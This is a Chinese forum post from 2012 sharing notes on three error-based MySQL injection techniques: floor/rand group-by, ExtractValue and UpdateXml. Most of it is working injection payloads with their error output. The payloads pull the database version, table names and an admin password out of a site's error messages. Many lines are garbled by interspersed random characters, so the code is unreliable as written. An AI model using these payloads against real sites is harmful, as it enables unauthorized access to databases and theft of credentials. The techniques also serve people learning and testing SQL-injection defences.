找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2175|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
' G) E% h) |0 ]6 k$ E实际测试环境:3 }* t6 W, y4 Z+ t) }
9 b) x  d) u, ]) y7 P" g
  P4 j1 J/ y5 U
mysql> show tables;
- {7 s( g5 R# P+----------------+& C: V  [: k+ [* Q% D
| Tables_in_test |  I: U1 ?0 |' x7 i9 q
+----------------+6 f2 d  `7 k& H; f# D6 F# ~/ ]( B6 b4 I
| admin          |
; i1 N5 [& V7 n. u+ _6 W| article        |  x' D, _, \/ }' k/ O& c. Z0 Y! p
+----------------+5 h: R3 j) s. v9 W5 w/ O4 B
0 l8 T, x: u2 T8 R/ K" B

) A1 V8 v7 I# ]1 P " }3 K, P$ w, e* |  H" p  Y
mysql> describe admin;% n, u+ L  `: f8 m: k
+-------+------------------+------+-----+---------+----------------+
: G. s9 v, q; _5 i0 G| Field | Type             | Null | Key | Default | Extra          |
. T/ n( E, p4 a7 f% D+-------+------------------+------+-----+---------+----------------+4 G4 Z5 b" `  P, B, h
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |' K/ ]8 d3 p' J& b( w9 X3 d
| user  | varchar(50)      | NO   |     | NULL    |                |% z& A0 R  X6 i/ |1 P
| pass  | varchar(50)      | NO   |     | NULL    |                |
% I( o1 g, U/ Q8 z8 y' n$ R% C+-------+------------------+------+-----+---------+----------------+
6 E1 f9 I5 d+ v7 t' v  Q! B6 |9 E & m9 y: l  S6 N" u8 _% Q: c
8 I# ?3 O- e6 R) q& \7 K3 `0 w9 D8 d
* o; e  v( a  e
mysql> describe article;
& R- |, v, ~% b+---------+------------------+------+-----+---------+----------------+# u" [  A2 b% B) f; g1 I
| Field   | Type             | Null | Key | Default | Extra          |
+ B: D) |4 f* Q$ T; I% p$ K  p+---------+------------------+------+-----+---------+----------------+
$ Z+ [7 i* x, l8 v| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |4 a/ \1 W; G% E
| title   | varchar(50)      | NO   |     | NULL    |                |
) K% W  C' R3 {| content | varchar(50)      | NO   |     | NULL    |                |; Z7 M& \0 D, t- V5 F8 `& d3 _
+---------+------------------+------+-----+---------+----------------+
6 a/ T! l, n" v1、通过floor报错
0 l2 [/ Z5 l3 A2 B  h* ]可以通过如下一些利用代码2 K$ m0 }' T% u

' U6 q& c9 F! `7 |( f& ]
) U  d  @' w% C; [, F. rand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
6 e( v- K9 k( t9 l8 U- rfrom information_schema.tables group by x)a);
  `0 l4 c0 L2 X , Q% V1 ?  P& V# y7 ^, d, T

) e1 R" \: C2 W% e& z9 L6 dand (select count(*) from (select 1 union select null union select !1)x- T4 Z8 y* B, l: Y) ]
group by concat((select table_name from information_schema.tables limit 1),
8 D4 T0 ?; Y8 efloor(rand(0)*2)));- F2 p/ \8 W5 ^* D9 O
举例如下:
# N- K; y) i6 \3 k" @首先进行正常查询:
; o# U8 A% K( }9 u
- C2 [& n1 ~. @. j+ \3 `mysql> select * from article where id = 1;' Q, I* v4 G$ J3 G
+----+-------+---------+& b$ B+ x- I" y0 E+ N& S6 Z) v+ N8 K
| id | title | content |+ k- G3 E/ L8 q: V6 M
+----+-------+---------+
: y% H$ }$ o  W  x2 l|  1 | test  | do it   |
3 v$ ?; j) I$ K% a! J9 `  f+----+-------+---------+
& P9 E6 g9 ?8 g) ]2 @8 `+ n假如id输入存在注入的话,可以通过如下语句进行报错。& A* t& m: X: b! y: t1 ]0 X" E

4 s  q! O& D& V2 p3 s7 p
6 e6 n$ v7 Y. N4 \( Y" |2 K4 umysql> select * from article where id = 1 and (select 1 from! e: v! F. Q  T$ r& T5 l" e
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);# [$ V+ @  s" q7 V7 r6 h  v1 c
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'0 v4 n6 V+ f1 C6 x$ C) B/ s- k+ |
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。' Q) S5 q! E9 c9 F
例如我们需要查询管理员用户名和密码:
, z, w+ A$ I" s/ W3 \Method1:
' p. c2 }% R3 A1 V4 w* n/ S5 K 3 l0 ^0 X. R9 R0 G1 v

( ?. R: E% J( c. B8 D3 [- y; Xmysql> select * from article where id = 1 and (select 1 from6 C! v) i7 [5 U- y$ l0 n  v0 K' J
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
  o4 ^) G% r6 dfrom information_schema.tables group by x)a);- \, a9 h0 \+ d" [1 g, S. y, B' H+ e
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'6 Z. D) n5 k& J$ V* w3 l2 T
Method2:
* |1 a8 v5 J& l: y
! K% T. w- E0 a, i
/ }1 s6 I1 I) C: P- Imysql> select * from article where id = 1 and (select count(*)5 i5 }( s% Y' d: @! A
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
) a, Y% [8 r2 a. Ufloor(rand(0)*2)));' O, |  {1 A& c8 E/ f
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'3 }) o/ b" @7 t+ m. {+ E% K
2、ExtractValue
, s/ {  z5 n4 p: ]$ b0 c5 x8 N测试语句如下$ L; X1 `/ n( \$ m& y7 Z

) F5 U" B+ d4 w+ P  h& m7 K
+ V4 y$ ~# N5 G% s/ W# O% c1 vand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));' P8 [3 W, U  o, g$ i
实际测试过程7 Q* c: B! X! Z' L, x4 R8 [

6 V* K+ a0 [1 c" M) y3 @ 0 O$ X/ t0 s2 u2 D# R
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,9 V. r$ G% T4 ^  Q( g7 T' {
(select pass from admin limit 1)));--
+ U7 y7 {4 P$ aERROR 1105 (HY000): XPATH syntax error: '\admin888'
& T% `- H. x& l7 [3、UpdateXml2 o$ }1 C, ?; M' W, l
测试语句
& v  e" h; @3 V8 ~+ p0 g
: `$ h% m! s/ A6 C; \& J
# P3 `% H, [6 I: l0 zand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
% |' J' V) A/ y0 ?, `9 b实际测试过程5 D8 A/ X  H- ]) I9 }4 x/ n3 I
& M& r0 P$ d' D* u& u7 ^

: i# g9 W( [8 ]mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
8 r/ k. G+ [. c, i, J(select pass from admin limit 1),0x5e24),1));
5 [3 l, f1 ]" N! G( BERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'# c# _6 M$ ^: }- G+ ]
All, thanks foreign guys." R1 f" F  p8 R9 B2 A. |0 i
4 l- B- U9 Z9 q: w
3 d! {4 y1 H  e7 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表